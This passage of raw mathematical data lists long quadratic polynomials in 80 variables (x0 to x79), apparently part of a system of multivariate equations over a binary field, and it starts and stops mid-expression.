x63*x76 + x63*x77 + x63 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x73 + x64*x76 + x64*x77 + x64*x79 + x64 + x65*x69 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x65*x78 + x65 + x66*x68 + x66*x69 + x66*x75 + x66*x77 + x67*x69 + x67*x70 + x67*x75 + x68*x70 + x68*x72 + x68*x73 + x68*x75 + x68*x77 + x68*x79 + x69*x71 + x69*x73 + x69*x76 + x69*x78 + x69*x79 + x70*x72 + x70*x75 + x70*x76 + x70*x77 + x70*x78 + x70*x79 + x71*x74 + x71*x76 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x75 + x72*x78 + x73*x75 + x73*x77 + x73*x79 + x74*x76 + x74 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79 + x77 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x20 + x0*x21 + x0*x23 + x0*x24 + x0*x25 + x0*x28 + x0*x33 + x0*x35 + x0*x36 + x0*x39 + x0*x40 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x49 + x0*x51 + x0*x52 + x0*x54 + x0*x57 + x0*x59 + x0*x62 + x0*x63 + x0*x64 + x0*x67 + x0*x68 + x0*x72 + x0*x74 + x0*x75 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x5 + x1*x6 + x1*x8 + x1*x10 + x1*x12 + x1*x15 + x1*x16 + x1*x19 + x1*x20 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x31 + x1*x32 + x1*x34 + x1*x35 + x1*x36 + x1*x38 + x1*x41 + x1*x43 + x1*x44 + x1*x45 + x1*x46 + x1*x50 + x1*x52 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x59 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x70 + x1*x76 + x1 + x2*x3 + x2*x5 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x18 + x2*x24 + x2*x26 + x2*x30 + x2*x34 + x2*x36 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x49 + x2*x50 + x2*x51 + x2*x56 + x2*x60 + x2*x62 + x2*x64 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x3*x4 + x3*x7 + x3*x9 + x3*x13 + x3*x15 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x23 + x3*x25 + x3*x27 + x3*x28 + x3*x31 + x3*x35 + x3*x36 + x3*x39 + x3*x40 + x3*x41 + x3*x44 + x3*x46 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x52 + x3*x56 + x3*x58 + x3*x59 + x3*x60 + x3*x65 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x74 + x3*x75 + x3*x77 + x4*x5 + x4*x6 + x4*x7 + x4*x9 + x4*x19 + x4*x20 + x4*x22 + x4*x25 + x4*x26 + x4*x30 + x4*x31 + x4*x35 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x46 + x4*x49 + x4*x51 + x4*x52 + x4*x55 + x4*x57 + x4*x59 + x4*x61 + x4*x62 + x4*x66 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x74 + x4*x78 + x4*x79 + x5*x6 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x19 + x5*x20 + x5*x26 + x5*x27 + x5*x28 + x5*x34 + x5*x35 + x5*x36 + x5*x38 + x5*x39 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x47 + x5*x49 + x5*x52 + x5*x53 + x5*x55 + x5*x57 + x5*x58 + x5*x59 + x5*x60 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x70 + x5*x71 + x5*x73 + x5*x75 + x5*x78 + x5 + x6*x11 + x6*x12 + x6*x13 + x6*x16 + x6*x20 + x6*x21 + x6*x27 + x6*x28 + x6*x29 + x6*x31 + x6*x39 + x6*x40 + x6*x43 + x6*x44 + x6*x45 + x6*x49 + x6*x51 + x6*x53 + x6*x55 + x6*x56 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x68 + x6*x71 + x6*x74 + x6*x76 + x6*x79 + x7*x8 + x7*x9 + x7*x11 + x7*x17 + x7*x18 + x7*x23 + x7*x24 + x7*x26 + x7*x31 + x7*x32 + x7*x34 + x7*x35 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x44 + x7*x47 + x7*x51 + x7*x55 + x7*x56 + x7*x59 + x7*x62 + x7*x63 + x7*x65 + x7*x66 + x7*x67 + x7*x68 + x7*x71 + x7*x73 + x7*x74 + x7*x75 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x17 + x8*x19 + x8*x20 + x8*x23 + x8*x24 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x38 + x8*x44 + x8*x45 + x8*x48 + x8*x52 + x8*x54 + x8*x60 + x8*x61 + x8*x62 + x8*x64 + x8*x66 + x8*x67 + x8*x68 + x8*x69 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x75 + x8*x76 + x8*x78 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x14 + x9*x17 + x9*x21 + x9*x24 + x9*x25 + x9*x27 + x9*x28 + x9*x30 + x9*x31 + x9*x34 + x9*x35 + x9*x36 + x9*x42 + x9*x44 + x9*x46 + x9*x50 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x61 + x9*x63 + x9*x64 + x9*x66 + x9*x68 + x9*x73 + x9*x74 + x9*x76 + x9*x78 + x9*x79 + x10*x12 + x10*x13 + x10*x15 + x10*x16 + x10*x17 + x10*x19 + x10*x20 + x10*x24 + x10*x25 + x10*x26 + x10*x28 + x10*x30 + x10*x33 + x10*x34 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x44 + x10*x49 + x10*x50 + x10*x52 + x10*x53 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x77 + x10*x79 + x11*x14 + x11*x15 + x11*x16 + x11*x21 + x11*x26 + x11*x28 + x11*x29 + x11*x30 + x11*x33 + x11*x34 + x11*x35 + x11*x38 + x11*x39 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x50 + x11*x54 + x11*x57 + x11*x58 + x11*x59 + x11*x62 + x11*x66 + x11*x67 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x75 + x11*x77 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x21 + x12*x23 + x12*x27 + x12*x31 + x12*x35 + x12*x36 + x12*x37 + x12*x38 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x54 + x12*x55 + x12*x59 + x12*x61 + x12*x68 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x74 + x12*x77 + x12*x79 + x13*x14 + x13*x16 + x13*x18 + x13*x19 + x13*x20 + x13*x22 + x13*x24 + x13*x25 + x13*x27 + x13*x29 + x13*x32 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x39 + x13*x40 + x13*x43 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x56 + x13*x58 + x13*x61 + x13*x62 + x13*x65 + x13*x68 + x13*x70 + x13*x71 + x13*x72 + x13*x74 + x13*x76 + x13*x78 + x13*x79 + x13 + x14*x15 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x21 + x14*x23 + x14*x24 + x14*x26 + x14*x32 + x14*x33 + x14*x38 + x14*x40 + x14*x41 + x14*x45 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x58 + x14*x59 + x14*x62 + x14*x64 + x14*x69 + x14*x70 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x19 + x15*x21 + x15*x22 + x15*x25 + x15*x28 + x15*x30 + x15*x31 + x15*x32 + x15*x34 + x15*x37 + x15*x38 + x15*x40 + x15*x42 + x15*x43 + x15*x44 + x15*x46 + x15*x48 + x15*x49 + x15*x51 + x15*x59 + x15*x61 + x15*x62 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x73 + x15*x75 + x15*x77 + x16*x17 + x16*x18 + x16*x20 + x16*x21 + x16*x24 + x16*x32 + x16*x33 + x16*x35 + x16*x42 + x16*x43 + x16*x44 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x54 + x16*x57 + x16*x58 + x16*x60 + x16*x62 + x16*x63 + x16*x64 + x16*x68 + x16*x69 + x16*x70 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x79 + x16 + x17*x18 + x17*x23 + x17*x25 + x17*x29 + x17*x30 + x17*x32 + x17*x35 + x17*x36 + x17*x37 + x17*x39 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x52 + x17*x56 + x17*x58 + x17*x59 + x17*x60 + x17*x64 + x17*x65 + x17*x66 + x17*x72 + x17*x74 + x17*x75 + x17*x76 + x17*x79 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x27 + x18*x28 + x18*x29 + x18*x30 + x18*x32 + x18*x34 + x18*x35 + x18*x38 + x18*x39 + x18*x40 + x18*x43 + x18*x47 + x18*x48 + x18*x51 + x18*x52 + x18*x55 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x76 + x18*x79 + x18 + x19*x20 + x19*x21 + x19*x24 + x19*x25 + x19*x29 + x19*x30 + x19*x31 + x19*x33 + x19*x34 + x19*x38 + x19*x39 + x19*x43 + x19*x46 + x19*x49 + x19*x50 + x19*x53 + x19*x55 + x19*x58 + x19*x59 + x19*x62 + x19*x66 + x19*x68 + x19*x70 + x19*x73 + x19*x76 + x19*x79 + x20*x21 + x20*x24 + x20*x25 + x20*x26 + x20*x28 + x20*x31 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x41 + x20*x47 + x20*x48 + x20*x49 + x20*x51 + x20*x52 + x20*x53 + x20*x55 + x20*x60 + x20*x62 + x20*x63 + x20*x66 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x78 + x20*x79 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x36 + x21*x37 + x21*x39 + x21*x41 + x21*x45 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x56 + x21*x61 + x21*x62 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x74 + x21*x75 + x22*x25 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x40 + x22*x41 + x22*x43 + x22*x48 + x22*x52 + x22*x53 + x22*x57 + x22*x59 + x22*x61 + x22*x62 + x22*x66 + x22*x67 + x22*x70 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x40 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x62 + x23*x65 + x23*x66 + x23*x70 + x23*x73 + x23*x74 + x23*x75 + x23*x77 + x23*x78 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x42 + x24*x46 + x24*x48 + x24*x49 + x24*x52 + x24*x54 + x24*x55 + x24*x56 + x24*x57 + x24*x59 + x24*x63 + x24*x67 + x24*x68 + x24*x69 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x37 + x25*x39 + x25*x40 + x25*x43 + x25*x44 + x25*x45 + x25*x47 + x25*x50 + x25*x51 + x25*x53 + x25*x56 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x65 + x25*x67 + x25*x72 + x25*x73 + x25*x77 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x39 + x26*x41 + x26*x43 + x26*x45 + x26*x47 + x26*x48 + x26*x50 + x26*x52 + x26*x53 + x26*x55 + x26*x57 + x26*x58 + x26*x59 + x26*x62 + x26*x63 + x26*x65 + x26*x71 + x26*x73 + x26*x76 + x26*x77 + x26*x79 + x27*x29 + x27*x31 + x27*x33 + x27*x35 + x27*x37 + x27*x38 + x27*x39 + x27*x40 + x27*x42 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x56 + x27*x58 + x27*x61 + x27*x62 + x27*x66 + x27*x68 + x27*x74 + x27*x75 + x27*x77 + x27*x78 + x27 + x28*x29 + x28*x30 + x28*x33 + x28*x34 + x28*x35 + x28*x39 + x28*x40 + x28*x42 + x28*x44 + x28*x47 + x28*x50 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x59 + x28*x62 + x28*x63 + x28*x65 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x75 + x28*x76 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x32 + x29*x37 + x29*x38 + x29*x40 + x29*x43 + x29*x45 + x29*x48 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x64 + x29*x65 + x29*x66 + x29*x67 + x29*x68 + x29*x70 + x29*x71 + x29*x72 + x29*x78 + x30*x31 + x30*x32 + x30*x37 + x30*x42 + x30*x43 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x51 + x30*x53 + x30*x55 + x30*x57 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x67 + x30*x70 + x30*x72 + x30*x76 + x30*x77 + x30*x79 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x36 + x31*x37 + x31*x40 + x31*x41 + x31*x48 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x57 + x31*x58 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x76 + x32*x33 + x32*x34 + x32*x37 + x32*x38 + x32*x39 + x32*x40 + x32*x41 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x64 + x32*x65 + x32*x68 + x32*x70 + x32*x71 + x32*x74 + x32*x77 + x32*x78 + x32*x79 + x33*x36 + x33*x37 + x33*x41 + x33*x44 + x33*x45 + x33*x48 + x33*x50 + x33*x53 + x33*x56 + x33*x58 + x33*x60 + x33*x62 + x33*x63 + x33*x67 + x33*x68 + x33*x71 + x33*x73 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x37 + x34*x38 + x34*x40 + x34*x43 + x34*x45 + x34*x46 + x34*x47 + x34*x49 + x34*x50 + x34*x52 + x34*x56 + x34*x61 + x34*x62 + x34*x70 + x34*x72 + x34*x73 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x35*x36 + x35*x37 + x35*x38 + x35*x44 + x35*x46 + x35*x47 + x35*x49 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x57 + x35*x62 + x35*x63 + x35*x64 + x35*x65 + x35*x66 + x35*x69 + x35*x70 + x35*x71 + x35*x76 + x35*x78 + x35*x79 + x36*x40 + x36*x45 + x36*x46 + x36*x49 + x36*x55 + x36*x58 + x36*x59 + x36*x62 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x71 + x36*x73 + x36*x74 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x38 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x69 + x37*x70 + x37*x71 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x42 + x38*x48 + x38*x49 + x38*x51 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x64 + x38*x65 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x77 + x38*x79 + x39*x40 + x39*x41 + x39*x42 + x39*x44 + x39*x45 + x39*x47 + x39*x49 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x60 + x39*x66 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x43 + x40*x44 + x40*x45 + x40*x48 + x40*x49 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x60 + x40*x61 + x40*x63 + x40*x70 + x40*x71 + x40*x74 + x41*x44 + x41*x45 + x41*x47 + x41*x49 + x41*x51 + x41*x56 + x41*x60 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x71 + x41*x73 + x41*x75 + x41*x76 + x41*x78 + x42*x43 + x42*x44 + x42*x45 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x55 + x42*x62 + x42*x64 + x42*x65 + x42*x67 + x42*x69 + x42*x72 + x42*x73 + x42*x77 + x42*x78 + x43*x44 + x43*x45 + x43*x48 + x43*x49 + x43*x50 + x43*x53 + x43*x58 + x43*x59 + x43*x65 + x43*x66 + x43*x67 + x43*x69 + x43*x71 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x79 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x53 + x44*x54 + x44*x57 + x44*x59 + x44*x62 + x44*x64 + x44*x65 + x44*x70 + x44*x72 + x44*x77 + x44*x78 + x44*x79 + x45*x48 + x45*x49 + x45*x51 + x45*x52 + x45*x54 + x45*x56 + x45*x59 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x67 + x45*x69 + x45*x71 + x45*x74 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x48 + x46*x51 + x46*x52 + x46*x56 + x46*x57 + x46*x59 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x70 + x46*x71 + x46*x74 + x46*x76 + x46 + x47*x49 + x47*x50 + x47*x52 + x47*x55 + x47*x58 + x47*x60 + x47*x61 + x47*x64 + x47*x65 + x47*x67 + x47*x71 + x47*x72 + x47*x73 + x48*x50 + x48*x52 + x48*x53 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x73 + x48*x75 + x48*x77 + x49*x51 + x49*x53 + x49*x55 + x49*x57 + x49*x58 + x49*x59 + x49*x62 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x76 + x49*x77 + x49*x79 + x50*x51 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x59 + x50*x61 + x50*x62 + x50*x64 + x50*x65 + x50*x69 + x50*x70 + x50*x72 + x50*x76 + x50*x77 + x50*x79 + x50 + x51*x54 + x51*x56 + x51*x62 + x51*x64 + x51*x65 + x51*x66 + x51*x67 + x51*x70 + x51*x74 + x52*x54 + x52*x56 + x52*x58 + x52*x60 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x59 + x53*x60 + x53*x63 + x53*x65 + x53*x69 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x56 + x54*x64 + x54*x65 + x54*x66 + x54*x68 + x54*x70 + x54*x72 + x54*x75 + x54*x76 + x54*x79 + x55*x56 + x55*x58 + x55*x62 + x55*x64 + x55*x67 + x55*x69 + x55*x70 + x55*x72 + x55*x75 + x55*x76 + x55 + x56*x57 + x56*x58 + x56*x60 + x56*x63 + x56*x66 + x56*x68 + x56*x69 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x70 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x78 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x71 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x63 + x59*x64 + x59*x66 + x59*x69 + x59*x71 + x59*x74 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x61*x70 + x61*x73 + x61*x74 + x61*x76 + x61*x79 + x61 + x62*x65 + x62*x68 + x62*x71 + x62*x73 + x62*x74 + x62*x76 + x62*x77 + x62*x78 + x63*x64 + x63*x65 + x63*x67 + x63*x70 + x63*x71 + x63*x74 + x63*x75 + x63*x76 + x63*x79 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x73 + x64*x76 + x64*x77 + x64*x79 + x64 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x75 + x65*x79 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66 + x67*x73 + x67*x75 + x67*x78 + x68*x69 + x68*x70 + x68*x73 + x68*x77 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x74 + x69*x75 + x69*x78 + x69 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70 + x71*x72 + x71*x74 + x71*x78 + x71*x79 + x72*x74 + x72*x75 + x72*x77 + x72*x79 + x72 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x75 + x74*x76 + x74*x79 + x74 + x75*x78 + x75 + x76*x78 + x76*x79 + x76 + x77*x78 + x77 + x79, x0*x2 + x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x14 + x0*x16 + x0*x17 + x0*x19 + x0*x20 + x0*x24 + x0*x25 + x0*x26 + x0*x32 + x0*x33 + x0*x35 + x0*x36 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x44 + x0*x47 + x0*x48 + x0*x50 + x0*x52 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x64 + x0*x73 + x0*x75 + x0*x77 + x0 + x1*x2 + x1*x7 + x1*x9 + x1*x11 + x1*x12 + x1*x15 + x1*x18 + x1*x19 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x33 + x1*x38 + x1*x43 + x1*x44 + x1*x46 + x1*x50 + x1*x51 + x1*x52 + x1*x56 + x1*x60 + x1*x61 + x1*x62 + x1*x64 + x1*x67 + x1*x68 + x1*x69 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x7 + x2*x8 + x2*x10 + x2*x15 + x2*x17 + x2*x18 + x2*x20 + x2*x21 + x2*x24 + x2*x25 + x2*x27 + x2*x31 + x2*x33 + x2*x34 + x2*x35 + x2*x39 + x2*x40 + x2*x41 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x50 + x2*x51 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x60 + x2*x62 + x2*x63 + x2*x64 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x71 + x2*x74 + x2*x75 + x2*x77 + x2*x78 + x3*x4 + x3*x6 + x3*x7 + x3*x8 + x3*x11 + x3*x12 + x3*x15 + x3*x16 + x3*x19 + x3*x21 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x28 + x3*x32 + x3*x33 + x3*x36 + x3*x37 + x3*x39 + x3*x45 + x3*x47 + x3*x48 + x3*x51 + x3*x54 + x3*x55 + x3*x57 + x3*x60 + x3*x63 + x3*x65 + x3*x68 + x3*x69 + x3*x72 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x12 + x4*x13 + x4*x16 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x24 + x4*x25 + x4*x27 + x4*x29 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x39 + x4*x43 + x4*x44 + x4*x49 + x4*x50 + x4*x54 + x4*x57 + x4*x58 + x4*x59 + x4*x60 + x4*x61 + x4*x64 + x4*x65 + x4*x66 + x4*x71 + x4*x74 + x4*x78 + x5*x7 + x5*x10 + x5*x12 + x5*x14 + x5*x17 + x5*x20 + x5*x22 + x5*x23 + x5*x24 + x5*x28 + x5*x31 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x51 + x5*x58 + x5*x59 + x5*x60 + x5*x65 + x5*x67 + x5*x68 + x5*x71 + x5*x72 + x5*x73 + x5*x78 + x5*x79 + x6*x10 + x6*x11 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x24 + x6*x28 + x6*x29 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x38 + x6*x40 + x6*x41 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x61 + x6*x62 + x6*x63 + x6*x65 + x6*x67 + x6*x69 + x6*x71 + x6*x72 + x6*x74 + x6*x79 + x6 + x7*x10 + x7*x11 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x17 + x7*x18 + x7*x21 + x7*x24 + x7*x25 + x7*x27 + x7*x29 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x38 + x7*x42 + x7*x43 + x7*x44 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x53 + x7*x54 + x7*x55 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x72 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x9 + x8*x12 + x8*x15 + x8*x16 + x8*x17 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x39 + x8*x40 + x8*x44 + x8*x45 + x8*x49 + x8*x56 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x68 + x8*x73 + x8*x79 + x9*x12 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x22 + x9*x24 + x9*x28 + x9*x30 + x9*x31 + x9*x32 + x9*x33 + x9*x36 + x9*x38 + x9*x40 + x9*x43 + x9*x49 + x9*x50 + x9*x51 + x9*x52 + x9*x55 + x9*x57 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x66 + x9*x67 + x9*x73 + x9*x76 + x9*x77 + x9 + x10*x11 + x10*x14 + x10*x16 + x10*x20 + x10*x25 + x10*x28 + x10*x31 + x10*x33 + x10*x34 + x10*x36 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x45 + x10*x47 + x10*x50 + x10*x51 + x10*x55 + x10*x56 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x78 + x10*x79 + x11*x12 + x11*x13 + x11*x15 + x11*x17 + x11*x18 + x11*x21 + x11*x24 + x11*x25 + x11*x28 + x11*x31 + x11*x32 + x11*x34 + x11*x35 + x11*x38 + x11*x43 + x11*x45 + x11*x46 + x11*x47 + x11*x51 + x11*x57 + x11*x59 + x11*x61 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x71 + x11*x73 + x11*x74 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x17 + x12*x21 + x12*x25 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x32 + x12*x36 + x12*x37 + x12*x38 + x12*x40 + x12*x42 + x12*x44 + x12*x51 + x12*x53 + x12*x54 + x12*x57 + x12*x61 + x12*x62 + x12*x64 + x12*x67 + x12*x68 + x12*x70 + x12*x72 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x12*x79 + x13*x14 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x27 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x37 + x13*x44 + 